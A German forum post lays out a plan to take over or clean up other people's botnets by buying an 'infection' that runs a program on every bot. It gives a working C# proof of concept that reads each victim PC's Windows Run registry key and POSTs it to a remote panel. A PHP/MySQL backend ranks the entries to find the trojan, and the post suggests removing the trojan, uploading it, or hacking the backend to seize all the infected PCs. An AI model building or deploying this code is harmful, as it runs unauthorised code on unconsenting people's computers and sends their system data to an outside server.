Auch wenn es derzeit nicht all zu viele Leute gibt die sich dafür bezahlen lassen Trojaner in ihrem BotNet zu verteilen, habe ich dennoch beschlossen meine Gedankestränge in diesem Thread nieder zu schreiben, um dafür zu sorgen dass das auch so bleibt.
Was will ich mit diesem Thread erreichen ?
Ich will den Verkauf von Infektionen in einem BotNet eindämmen.
Wer profitiert davon ?
Der Durchschnittsbenutzer der einen infizierten PC besitzt.
1 Kiddy, das Zugang zum PC hat, stellt weniger Unfug an als 2.
logisch
Um mein Ziel zu erreichen ist es nicht notwendig dass die Technik tatsächlich eingesetzt wird, es reicht dass dieser Thread existiert und die "Verkäufer" eingeschüchtert werden.
Aber nun genug zum Vorwort..
Um das BotNet zu übernehmen müssen wir den Trojaner vom "Verkäufer" entfernen.
Um das zu erreichen lassen wir uns eine Kopie von der Registry machen und lassen uns die an ein PHP Script schicken.
Dieses Script gruppiert nach dem Wert und sortiert danach alle Einträge absteigend.
Dadurch dass auf jedem PC der Trojaner installiert ist (und wir der Einfachheit halber einfach mal davon ausgehen dass es sich um einen 0815 Trojaner ohne besondere Schutzmaßnahmen handelt) sollte jetzt der Trojaner realtiv weit oben stehen
Von da aus stehen uns 2 Wege offen:
- Wir entfernen einfach nur den Trojaner
- Wir lassen uns den Trojaner irgendwo hochladen, downloaden ihn dann, und können ihn weiter analysieren. Wenn man sich die meisten Trojaner-Backends anschaut, wäre es sogar realistisch das Backend zu sniffen, zu hacken und dann alle infizierten PCs zu übernehmen
Wir lassen erstmal jeden infizierten PC eine exe runter laden:
C#
Code:
using System.Collections.Generic;
using System.IO;
using System.Net;
using System.Text;
using System.Web;
using Microsoft.Win32;
namespace Desinfect
{
class Program
{
static void Main(string[] args)
{
try {
string query = GetQueryString();
SendRequest(query);
}
catch { }
}
private static string Panel = "http://lolcathost/desinfect/";
private static string SendRequest(string RequestParams)
{
var Request = WebRequest.Create(Panel);
Request.Method = "POST";
Request.ContentType = "application/x-www-form-urlencoded";
Request.ContentLength = RequestParams.Length;
using (var RequestStreamWriter = new StreamWriter(Request.GetRequestStream(), Encoding.Default))
{
RequestStreamWriter.Write(RequestParams);
}
string Response = "";
using (var ResponseReader = new StreamReader(Request.GetResponse().GetResponseStream()))
{
Response = ResponseReader.ReadToEnd();
}
return Response;
}
private static string GetQueryString()
{
List<string> files = new List<string>();
try
{
RegistryKey key = Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run", true);
string[] items = key.GetValueNames();
foreach (string item in items)
{
try
{
string value = (string)key.GetValue(item);
files.Add("entry[]=" + escape(item + " - " + value));
}
catch
{ }
}
key.Close();
}
catch
{ }
return string.Join("&", files.ToArray());
}
private static string escape(string txt)
{
return HttpUtility.UrlEncode(txt);
}
}
}
Und auf dem Backend:
php:
Code:
<?php
header('Content-Type: text/plain');
$host = 'localhost';
$user = 'root';
$pass = 'password';
$db = 'desinfect';
define ( 'CONN', @mysql_pconnect($host, $user, $pass));
$db = @mysql_select_db($db, CONN);
if (!CONN)
die('Verbindung nicht möglich, bitte prüfen Sie ihre mySQL Daten wie Passwort, Username und Host');
if ( !$db )
die ('Kann Datenbank "'.$db.'" nicht benutzen : ' . mysql_error(CONN));
if( isset($_POST['entry']) )
foreach ($_POST['entry'] as $entry) {
$entry = mysql_real_escape_string($entry);
mysql_query('
INSERT INTO entry (registry)
VALUES ("' . $entry . '")
', CONN);
}
$q = mysql_query('
SELECT COUNT(*) as c, registry
FROM entry
GROUP BY registry
ORDER BY c DESC
', CONN);
while( $row = mysql_fetch_assoc($q) )
echo $row['c'] . "\t" . $row['registry'] . "\n";
mysql_close ( CONN );
?>
sql:
Code:
CREATE TABLE IF NOT EXISTS `entry` (
`registry` text NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
Der Code ist relativ schnell geschrieben und viel mehr ein POC, deswegen nicht unbedingt der Sauberste, aber trotzdem nachvollziehbar..
nachdem die Datei von allen geladen wurde sollte relativ weit oben der Trojaner stehen
Die können wir uns jetzt aus Analyse-Gründen irgendwo hoch laden lassen, oder einfach mal auf gut Glück aus der Autostart löschen..
Sooo..
mal schauen wer sich jetzt noch traut die PCs von anderen Leuten zu verkaufen :3